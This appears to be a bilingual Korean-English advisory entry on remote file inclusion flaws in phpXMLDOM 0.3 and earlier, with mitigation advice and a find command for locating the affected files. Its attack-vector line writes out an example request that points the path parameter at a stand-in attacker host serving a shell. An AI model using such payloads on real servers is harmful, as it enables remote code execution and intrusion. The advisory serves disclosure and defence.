🇰🇷 한글 설명
phpXMLDOM 0.3 이하 버전에서 include/ 디렉토리의 dom.php, dtd.php, parser.php 파일들의 path 파라미터를 통한 원격 파일 포함(RFI) 취약점입니다. 공격자는 악의적인 URL을 입력하여 임의의 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
phpXMLDOM 라이브러리가 사용자 입력을 제대로 검증하지 않아, 공격자가 악의적인 파일을 로드하도록 만들 수 있습니다. 이를 통해 웹 서버에서 임의의 코드를 실행당할 수 있습니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in phpXMLDOM (phpXD) 0.3 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the path parameter to (1) dom.php, (2) dtd.php, or (3) parser.php in include/.
📍 영향받는 시스템
phpXMLDOM (phpXD) 버전 0.3 이하
⚔️ 공격 벡터
GET/POST 요청으로 path 파라미터에 원격 파일 URL 입력 (예: dom.php?path=http://attacker.com/shell.php)
🛡️ 대응 방법
phpXMLDOM을 0.4 이상 버전으로 업그레이드하거나, path 파라미터 검증 필터 추가 및 allow_url_include 비활성화
🔧 검증 코드
검색된 파일의 경로가 표시되면 해당 phpXMLDOM 설치 경로를 확인할 수 있으며, 파일 내 버전 정보나 수정 날짜로 취약한 버전 여부를 판단합니다.
find / -name 'dom.php' -o -name 'dtd.php' -o -name 'parser.php' 2>/dev/null | grep -i phpxml